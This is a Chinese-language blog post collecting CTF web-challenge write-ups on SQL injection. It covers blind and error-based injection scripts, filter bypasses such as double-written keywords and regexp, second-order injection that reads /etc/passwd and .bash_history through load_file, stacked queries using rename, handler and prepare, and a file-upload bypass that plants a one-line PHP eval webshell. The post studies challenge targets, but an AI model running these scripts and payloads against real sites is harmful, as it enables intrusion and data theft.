盲注

有错误回显

fuzz一下,过滤了and和=

and用or代替,=用<>代替

爆库

import requests
database_name=''
for i in range(1,10):
    result = ''
    for j in range(33,123):
        url = 'http://eci-2ze6zq7hsocdxngtc965.cloudeci1.ichunqiu.com/index.php?'
        payload = 'id=0 or if((ascii(substr((select database()),{iii},1))>{jjj}),1,0)'
        s = payload.format(iii=str(i),jjj=str(j))
        url = url + s
        ret = requests.get(url)
        if 'Hello' not in ret.text:
            database_name += chr(j)
            break
print(database_name)

爆表

import requests
for k in range(1,50):
    database_name = ''
    for i in range(1,10):
        result = ''
        for j in range(33,123):
            url = 'http://eci-2ze6zq7hsocdxngtc965.cloudeci1.ichunqiu.com/index.php?'
            payload = 'id=0 or if((ascii(substr((select table_name from information_schema.tables limit {kkk},1),{iii},1))>{jjj}),1,0)'
            s = payload.format(kkk=str(k),iii=str(i),jjj=str(j))
            url = url + s
            ret = requests.get(url)
            if 'Hello' not in ret.text:
                database_name += chr(j)
                break
    print(database_name)

...

报错注入

爆表

import re
import requests
for i in range(1,100):

    url = 'http://eci-2ze6zq7hsocdxngtc965.cloudeci1.ichunqiu.com/index.php?' \
      'id=1 or ExtractValue(0,concat(0x27,(select table_name from information_schema.tables limit %s,1)))'%i
    req = requests.get(url=url)
    print(i,end='  ')
    print(req.text[-29:-1])

可以发现其中有个表叫f14g

爆flag

import requests
flag = ''
for i in range(1,50):
    for j in range(32, 126):
        url = 'http://eci-2ze6zq7hsocdxngtc965.cloudeci1.ichunqiu.com/index.php?' \
              'id=0 or if((ascii(substr((select * from f14g),'+str(i)+',1))>'+str(j)+'),1,0)'
        ret = requests.get(url=url)
        if 'Hello' not in ret.text:
            flag += chr(j)
            break
print(flag)

[BMZctf]Union

一个登录框

image-20220318130254240

dirsearch跑出了一些文件,但是都没有权限访问

似乎url处存在文件包含,尝试读取源码,但是发现很多关键字符被过滤掉了

image-20220318131147520

查看源码

image-20220318130515079

根据提示来到注册界面

image-20220318131235506

随便注册一个账户后登陆进去

image-20220318131308530

可以上传和下载东西

简单思路

出现了文件上传和文件包含,那么就可以联合起来进行利用,但是这里有个问题就是不知道上传文件的路径

sql注入

发现在下载界面下的收藏处抓包可以进行sql注入

image-20220318133610451

测试后发现过滤了union和select,可双写绕过,单引号也被过滤了,字符串用0x十六进制来表示

可以先查看 下index.php

image-20220318135455706

<?php 
define("DIR_PERMITION",time());
include("config.php");
$_POST = d_addslashes($_POST);
$_GET = d_addslashes($_GET);

?>

<html>
<head>
<title>澶х編瑗垮畨</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

</head>
<body>

<?php


$file  = isset($_GET['file'])?$_GET['file']:"home";
// echo $file;

if(preg_match('/\.\.|^[\s]*\/|^[\s]*php:|filter/i',$file)){
	   echo "<div class=\"msg error\" id=\"message\">
		<i class=\"fa fa-exclamation-triangle\"></i>Attack Detected!</div>";
		die();
}

$filename = $file.".php";

if(!include($filename)){
    
	if(!isset($_SESSION['username'])||!isset($_SESSION['userid'])){
	  header("Location: index.php?file=login");
	  die();
    }

    echo '<link rel="stylesheet" href="./css/main.css" style="css" />';
	
	echo '<div id="left"><div class="main"><table align=center  cellspacing="0" cellpadding="0" style="border-collapse: collapse;border:0px;">
	<tr>
	<form method=get action="index.php">
	<td align=right style="padding:0px; border:0px; margin:0px;">
			<input type=submit name=file value="home" class="side-pan">
	</td>
	<td  align=right style="padding:0px; border:0px; margin:0px;" >
			<input type=submit name=file value="download" class="side-pan">
	</td>
	<td  align=right style="padding:0px; border:0px; margin:0px;" >
			<input type=submit name=file value="upload" class="side-pan">
	</td>
	</form></tr></table></div></div>
	<div id="right"></div><div align=center>';
	
	echo '<br><br><font size=5>

可以通过这种方式把其他已知的文件源码给读出来

但最后发现其实可以直接读取flag

-1 union select /flag
=
-1 uniunionon selselectect 0x2f666c6167

image-20220318140140566

[NCTF2019]SQLi

考点:

regexp盲注

启动题目,尝试构造一些注入语句,返回hacker,接着尝试半天也没有结果,发现好多东西都被过滤了

在这里插入图片描述

想起君子协议,尝试性的打开robots.txt,结果真有东西

在这里插入图片描述

继续查看hint.txt

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";

If $_POST['passwd'] === admin's password,

Then you will get the flag;

告诉了黑名单以及flag出现的条件, 只要找到登录密码就能拿到flag 并且账号是admin

这里只有regexp没有被过滤,利用regexp注入其实思路和bool盲注一样 一位一位的爆破,不同的是bool盲注是以位为单位 而regexp是以字符串为单位

REGEXP注入

表达式形式:

select (select语句) regexp '正则'Copy

若匹配则返回1,不匹配返回0。例:

select (select username from users where id=1) regexp '^a';

常用regexp正则语句:

regexp '^a'      #判断第一个字符串是否为a
regexp '^[a-z]'  #判断一个表的第一个字符串是否在a-z中
regexp '^r[a-z]' #判断一个表的第二个字符串是否在a-z中

内敛注释(nc)

因为单引号被过滤,可用""来转义,;%00在url中也是注释的意思(或者说截断 也就是把最后的单引号也给注释了

select * from users where username='\' and passwd='||/**/passwd/**/regexp/**/\"^a\";%00'

EXP

import requests
import time
import string
url = "http:/xxx.cn/"
str_list = "_" + string.ascii_lowercase + string.ascii_uppercase + string.digits

payload = ''
for n in range(100):
	print(n)
	for i in str_list:
		data = {'username':'\\', 'passwd':'||passwd/**/regexp/**/"^{}";\x00'.format(payload+i)}
		res = requests.post(url = url, data = data)
		if 'welcome.php' in res.text:
			payload += i
			print(payload)
			break
		elif res.status_code == 429:
			time.sleep(1)

爆破出秘密,登录即可获得flag

[网鼎杯 2018]Comment

考点:

1、.git泄露
2、二次注入
3、Linux文件基础

打开题目,随便发个贴就跳到了登录界面

在这里插入图片描述

已经提示了用户名和密码,利用burp爆破出密码为zhangwei666

没有思路了,扫一下目录看看,发现了.git泄露,利用GitHack下载下来,获得一个write_do.php

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    break;
case 'comment':
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

Git源码

根本没什么用。后来才发现这是一段残缺的代码,利用GitHack恢复

git log --reflog查看一下可疑文件,

再利用git reset --hard commit恢复

eg.

git reset --hard af36ba2d86ee43cde7b95db513906975cb8ece03

得到完整源码

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

对其中几个函数做个解释:

addslashes()

在每个双引号(")前添加反斜杠:

eg.
<?php
$str = addslashes('What does "yolo" mean?');
echo($str);
?> 

//What does \"yolo\" mean?

简单审计

if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);

可以发现当do=write的时候,传入的信息都会进行转义,但是在数据库会自动清除反斜杠

case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }

当do=comment的时候,可发现直接从category这个字段进行查询,导致了二次注入,所以前面那个转义函数根本没用

所以我们可以利用这个sql语句进行注入

$sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";

但是首先需要在界面看到sql注入后的回显

可发现content的内容最后会回显在留言那里,所以就通过他来输出sql语句

利用/**/批量注释

爆库

title=123&category=1',content=database(),/*&content=321

再让content = */#

image-20220304145303928

继续注入,但行不通了,看了下wp

title=123&category=1',content=user(),/*&content=321

image-20220304145952439

得知使用者是root权限,所以,一般flag是不在数据库里的

用load_file()读取本地文件,在linux中/etc/passwd这里存储用户信息

payload-1

title=123&category=1',content=(select load_file('/etc/passwd')),/*&content=321

image-20220304150515726

发现一个www用户,查看bash_history : 保存了当前用户使用过的历史命令,在/home/www/下

payload-2

title=123&category=1',content=(select load_file('/home/www/.bash_history')),/*&content=321

image-20220304150632164

删除了 .DS_Store 文件,而 .DS_Store 文件应该在 /tmp/html 中,而 .DS_Store 文件中,经常会有一些不可见的字符,利用hex函数对其进行16进制转换

payload-3

title=123&category=1',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*&content=321

一堆进制数

image-20220304151136611

解码

flag在flag_8946e1f1ee3e40f.php

payload-4

title=123&category=1',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*&content=321

读取后解码获得flag

[强网杯 2019]随便注

考点:

1、堆叠注入

2、数据库中绕过select查询数据

输入1',报错

在这里插入图片描述

加上#号,成功闭合

在这里插入图片描述

尝试注入

在这里插入图片描述

过滤了select,union查询不可用了,尝试堆叠注入,成功

在这里插入图片描述

获得所有库,查表

在这里插入图片描述

由于select被过滤了,我们使用desc查看表结构,先看words

在这里插入图片描述

再看表‘1919810931114514',这里要注意一定要将表用反引号给包裹起来,不然他会把这当成单纯的数字而不是一张表

在这里插入图片描述

发现flag字段,不过没有select,我们还是无法获取

以下三种思路

One:重命名表

缘由:当输入1' or 1=1#时,会根据id字段返回words表中的所有数据

在这里插入图片描述

那么是不是只需要将words表重命名为其他表,将表‘1919810931114514'重命名为words

将‘1919810931114514'表中的flag字段重命名为id字段,再次使用1' or 1=1#时回显的就是flag

payload

#注意要一次执行完哦,而不是一条一条的去执行,否则当words表被更改时,前面的1就查不到任何数据,就会报错

1';
rename table words to la;
rename table `1919810931114514` to words;
alter table words change flag id varchar(50);#

最后再执行1' or 1=1#即可

在这里插入图片描述

Tow:使用handler语句

官方语句:

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

实例分析:

mysql> select * from tp_user;
+----------+----------+------+--------+
| username | password | id   | status |
+----------+----------+------+--------+
| Tom      | 123      | 1    | 1      |
| Bob      | 1234     | 2    | 2      |
| Dam      | 12345    | 3    | 3      |
| Tony     | a        | 4    | 4      |
| Tony     | a        | 4    | 4      |
| xi       | 123      | NULL | NULL   |
+----------+----------+------+--------+

mysql> handler tp_user open;  #打开表

mysql> handler tp_user read first;  #获取表中第一行的数据
+----------+----------+------+--------+
| username | password | id   | status |
+----------+----------+------+--------+
| Tom      | 123      | 1    | 1      |
+----------+----------+------+--------+

mysql> handler tp_user read next;  #获取表中下一行的数据
+----------+----------+------+--------+
| username | password | id   | status |
+----------+----------+------+--------+
| Bob      | 1234     | 2    | 2      |
+----------+----------+------+--------+

mysql> handler tp_user close;  #关闭表

所以再过滤了select的情况下,我们可以使用handler来构造查询语句

payload:

1';
handler `1919810931114514` open;
handler `1919810931114514` read first;#

在这里插入图片描述

Three:预编译

预编译是什么?

SQL 语句的执行处理
1、即时 SQL
  一条 SQL 在 DB 接收到最终执行完毕返回,大致的过程如下:

  1. 词法和语义解析;
  2. 优化 SQL 语句,制定执行计划;
  3. 执行并返回结果;
如上,一条 SQL 直接是走流程处理,一次编译,单次运行,此类普通语句被称作 Immediate Statements (即时 SQL)。

2、预处理 SQL
  但是,绝大多数情况下,某需求某一条 SQL 语句可能会被反复调用执行,或者每次执行的时候只有个别的值不同(比如 select 的 where 子句值不同,update 的 set 子句值不同,insert 的 values 值不同)。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。
  所谓预编译语句就是将此类 SQL 语句中的值用占位符替代,可以视为将 SQL 语句模板化或者说参数化,一般称这类语句叫Prepared Statements。
  预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。

实例分析:

mysql> select*from tp_user where id=1 union select*from tp_user where id=2;
+----------+----------+------+--------+
| username | password | id   | status |
+----------+----------+------+--------+
| Tom      | 123      | 1    | 1      |
| Bob      | 1234     | 2    | 2      |
+----------+----------+------+--------+

mysql> prepare test from 'select*from tp_user where id=? union select*from tp_user where id=?';  #设置预编译语句
Query OK, 0 rows affected (0.00 sec)
Statement prepared

mysql> set @a=1,@b=2;  #赋值
Query OK, 0 rows affected (0.00 sec)

mysql> execute test using @a,@b;  #释放使用
+----------+----------+------+--------+
| username | password | id   | status |
+----------+----------+------+--------+
| Tom      | 123      | 1    | 1      |
| Bob      | 1234     | 2    | 2      |
+----------+----------+------+--------+

payload:

1';
set @flag=concat('sel','ect * from `1919810931114514`;');
prepare get_flag from @flag;
execute get_flag;

在这里插入图片描述

这里提示过滤了setprepare,但是strstr函数对大小写敏感,所以我们可以用大写绕过

1';
SET @flag=concat('sel','ect * from `1919810931114514`;');
PREPARE get_flag from @flag;
execute get_flag;

在这里插入图片描述

[网鼎杯2018]Unfinish

启动题目

image-20220304160829697

login.php,既然要登陆,那么肯定有register.php,随便注册一个登录

image-20220304160947723

用户名处可能存在二次注入,再注册一个账号

用户名处1' and '0,若存在二次注入,用户名会变成0

image-20220304161322740

过滤了逗号,information等关键字

绕过姿势

在mysql中,+会被当做运算符

mysql> select '1'+'1abc';
+------------+
| '1'+'1abc' |
+------------+
|          2 |
+------------+
mysql> use wind
Database changed
mysql> select '0'+ascii(substr(database(),1,1));
+-----------------------------------+
| '0'+ascii(substr(database(),1,1)) |
+-----------------------------------+
|                               119 |
+-----------------------------------+
1 row in set (0.00 sec)

这样就出来了库名第一位的ascii值

逗号用from for来代替

payload

0'+ascii(substr(database() from 1 for 1))+'0;

脚本

import time
import requests
url="http://cab65443-3d33-462e-baee-9d3ac009092f.node4.buuoj.cn:81/"
# payload="665'+(ascii(substr((select database()) from {} for 1)) >{})+'0"   # 爆数据库
payload="665'+(ascii(substr(((select * from flag)) from {} for 1)) >{})+'"
result = ""
i = 0
f=1
while (True):
    i = i + 1
    head = 32
    tail = 127
    while (head < tail):
        r = requests.session()
        mid = (head + tail) >> 1
        register = {
            "email": 4@q.com0"+str(f),
            "username": payload.format(i, mid),
            "password": "4"
        }
        r1 = r.post(url+"register.php",data=register)
        if r1.status_code == 429:
            time.sleep(5)
        else:
            login={
                "email": "5@q.com0"+str(f),
                "password": "5"
            }
            r2 = r.post(url+"login.php", data=login)
            if r2.status_code == 429:
                time.sleep(5)
            else:
                r3=r.post(url+"index.php")
                text=r3.text
                f += 1
                if '666' in text:
                    head = mid + 1
                else:
                    tail = mid
    result += chr(head)
    print(result)

直接爆出flag

[CISCN2019 总决赛 Day2 Web1]Easyweb

启动题目

image-20220304163849414

查看robots.txt

image-20220304163916336

有备份的源码,查看网页源码,有个image.php,成功备份

image.php

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

简单审计

可传递id和path两个参数,形成sql注入,不过需要先绕过对id和path的过滤

用了str_replace

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

如果参数中有\或者'会被在加上一个\来转义。因此如果令id为\0,id会先变成\\0。之后\0被替换掉,会剩下一个\

所以传入url/image.php?id=\\0&path= or 1=1 %23 即可绕过

脚本

import requests
url = "url/image.php"
result = ''
for i in range(0, 30):
    right = 127
    left = 32
    mid = int((right + left) >> 1)
    while right > left:
        payload = " or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))>%d,1,0)#" % (i, mid)
        params = {
            'id': '\\0',
            'path': payload
        }
        response = requests.get(url, params=params)

        if "JFIF" in response.text:
            left = mid + 1
        else:
            right = mid
        mid = int((right + left) >> 1)
    result += chr(mid)
    print(result)

跑完后获得admin的密码

成功登录

image-20220304165152122

限制了不能上传php,可使用phtml绕过,php标签可用短标签绕过

<?=@eval($_POST['shell']);?>

蚁剑连接,根目录下获得flag

[攻防世界]Upload

注册后登录

image-20220304171054519

随便上传一个shell.php

<?php eval(@$_POST['shell']); ?>

image-20220304171128166

抓包改后缀,发现只能上传jpg形式

image-20220304171846934

只回显了一个uid

后面发现是文件名称注入,但是过滤了select和from,双写绕过

爆表

a'+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg

CONV函数将16进制转化为10进制,依次获取子串的12位

用substr截取12是因为一旦过长,会用科学计数法表示。

这里必须要先转化为数字,不然没有任何回显

将得到的回显先转化为二进制,再转为字符串,得到部分库名 web_up

下半

a'+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg

得到下半load

所以库名web_upload

爆表

a'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg

上半hello_

a'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),13,12),16,10))+'.jpg

中部flag_i

a'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),25,12),16,10))+'.jpg

下半s_here

表名hello_flag_is_here

爆列名

a'+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg

i_am_f

同理

lag

列名i_am_flag

爆数据

a'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg

!!@m

同理

Th.e_F !lag

flag:!!_@m_Th.e_F!lag

posted @ 2022-07-06 14:01  phant0m1  阅读(269)  评论(1编辑  收藏  举报